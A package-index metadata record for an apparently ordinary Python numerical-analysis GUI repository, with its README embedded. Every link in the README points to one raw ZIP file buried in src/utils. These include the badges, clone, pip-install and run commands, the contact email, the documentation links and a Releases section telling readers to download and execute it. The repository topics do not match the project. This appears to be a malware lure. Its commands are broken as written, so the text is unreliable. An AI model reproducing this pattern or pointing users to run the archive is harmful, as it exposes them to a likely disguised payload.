{"id":27789136,"url":"https://github.com/wayibkahil/numerical-analysis-app","last_synced_at":"2026-04-17T07:31:59.433Z","repository":{"id":290260582,"uuid":"973824071","full_name":"WayibKahil/Numerical-Analysis-App","owner":"WayibKahil","description":"A Python desktop application for solving mathematical equations using various numerical methods. This interactive tool provides a modern GUI for inputting equations and visualizing results through interactive plots. Features include solution history tracking, customizable settings, and PDF export capabilities.","archived":false,"fork":false,"pushed_at":"2025-04-27T21:15:48.000Z","size":129,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-04-27T22:22:54.023Z","etag":null,"topics":["android","euler","false-positive","fixed-point","gauss-elimination","java","javascript","ludecomposition","newton-raphson","numerical","numerical-analysis","numerical-methods","secant-method","static-analysis"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/WayibKahil.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2025-04-27T20:09:36.000Z","updated_at":"2025-04-27T21:15:51.000Z","dependencies_parsed_at":"2025-04-27T22:33:04.679Z","dependency_job_id":null,"html_url":"https://github.com/WayibKahil/Numerical-Analysis-App","commit_stats":null,"previous_names":["wayibkahil/numerical-analysis-app"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WayibKahil%2FNumerical-Analysis-App","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WayibKahil%2FNumerical-Analysis-App/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WayibKahil%2FNumerical-Analysis-App/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/WayibKahil%2FNumerical-Analysis-App/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/WayibKahil","download_url":"https://codeload.github.com/WayibKahil/Numerical-Analysis-App/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251754173,"owners_count":21638462,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["android","euler","false-positive","fixed-point","gauss-elimination","java","javascript","ludecomposition","newton-raphson","numerical","numerical-analysis","numerical-methods","secant-method","static-analysis"],"created_at":"2025-04-30T17:45:30.773Z","updated_at":"2026-04-17T07:31:59.425Z","avatar_url":"https://github.com/WayibKahil.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Numerical Analysis App 📊\n\n![GitHub repo size](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip) ![GitHub issues](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip) ![GitHub stars](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip) ![GitHub license](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip)\n\nWelcome to the **Numerical Analysis App**! This Python desktop application helps you solve mathematical equations using various numerical methods. With an interactive GUI, you can easily input equations and visualize results through engaging plots. Whether you're a student or a professional, this tool provides the features you need for effective numerical analysis.\n\n## Table of Contents\n\n1. [Features](#features)\n2. [Installation](#installation)\n3. [Usage](#usage)\n4. [Methods Supported](#methods-supported)\n5. [Contributing](#contributing)\n6. [License](#license)\n7. [Contact](#contact)\n8. [Releases](#releases)\n\n## Features 🌟\n\n- **Interactive GUI**: A user-friendly interface for inputting equations.\n- **Visualization**: View results through interactive plots.\n- **Solution History**: Keep track of your previous solutions for easy reference.\n- **Customizable Settings**: Adjust settings to fit your needs.\n- **PDF Export**: Save your results in PDF format for easy sharing.\n\n## Installation 🛠️\n\nTo get started with the Numerical Analysis App, follow these steps:\n\n1. **Clone the repository**:\n   ```bash\n   git clone https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip\n   ```\n\n2. **Navigate to the project directory**:\n   ```bash\n   cd Numerical-Analysis-App\n   ```\n\n3. **Install the required packages**:\n   Make sure you have Python installed. You can then use pip to install the necessary libraries:\n   ```bash\n   pip install -r https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip\n   ```\n\n4. **Run the application**:\n   Execute the following command to start the app:\n   ```bash\n   python https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip\n   ```\n\n## Usage 📈\n\nAfter installation, open the app. You will see a clean interface where you can input your equations. Here’s how to use the app:\n\n1. **Input an Equation**: Type your mathematical equation in the designated input field.\n2. **Select a Method**: Choose from various numerical methods available in the dropdown menu.\n3. **Visualize Results**: Click on the \"Solve\" button to see the results plotted on the screen.\n4. **Export Results**: Use the export feature to save your results as a PDF.\n\n## Methods Supported 🔍\n\nThe Numerical Analysis App supports several numerical methods, including:\n\n- **Bisection Method**: A root-finding method that repeatedly bisects an interval and selects a subinterval in which a root exists.\n- **Cramer’s Rule**: A method for solving systems of linear equations using determinants.\n- **False Position Method**: A root-finding algorithm that combines the bisection method and linear interpolation.\n- **Fixed Point Iteration**: A method for finding roots of equations by iterating on a function.\n- **Gauss Elimination**: A method for solving linear systems by transforming the system into an upper triangular form.\n- **LU Decomposition**: A method that factors a matrix into the product of a lower triangular matrix and an upper triangular matrix.\n- **Newton-Raphson Method**: An iterative method for finding successively better approximations to the roots of a real-valued function.\n- **Secant Method**: A root-finding algorithm that uses a succession of roots of secant lines.\n\n## Contributing 🤝\n\nWe welcome contributions! If you have suggestions or improvements, feel free to fork the repository and submit a pull request. Please ensure that your code adheres to our coding standards and includes appropriate tests.\n\n1. **Fork the repository**.\n2. **Create a new branch**:\n   ```bash\n   git checkout -b feature/YourFeature\n   ```\n3. **Make your changes** and commit them:\n   ```bash\n   git commit -m \"Add your feature\"\n   ```\n4. **Push to the branch**:\n   ```bash\n   git push origin feature/YourFeature\n   ```\n5. **Create a pull request**.\n\n## License 📜\n\nThis project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.\n\n## Contact 📬\n\nFor any inquiries or issues, please reach out to the project maintainer:\n\n- **Name**: Wayib Kahil\n- **Email**: https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip\n\n## Releases 🚀\n\nTo download the latest version of the Numerical Analysis App, visit the [Releases](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip) section. Download the appropriate file and execute it to start using the app.\n\nYou can also find previous versions and updates in the same section. \n\n## Acknowledgments 🙏\n\nWe would like to thank the open-source community for their contributions and support. Special thanks to the developers of the libraries used in this project.\n\n## Additional Resources 📚\n\n- [Python Documentation](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip)\n- [NumPy Documentation](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip)\n- [Matplotlib Documentation](https://raw.githubusercontent.com/WayibKahil/Numerical-Analysis-App/master/src/utils/App_Numerical_Analysis_v3.4.zip)\n\nFeel free to explore and enhance your numerical analysis skills with the Numerical Analysis App!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwayibkahil%2Fnumerical-analysis-app","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fwayibkahil%2Fnumerical-analysis-app","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwayibkahil%2Fnumerical-analysis-app/lists"}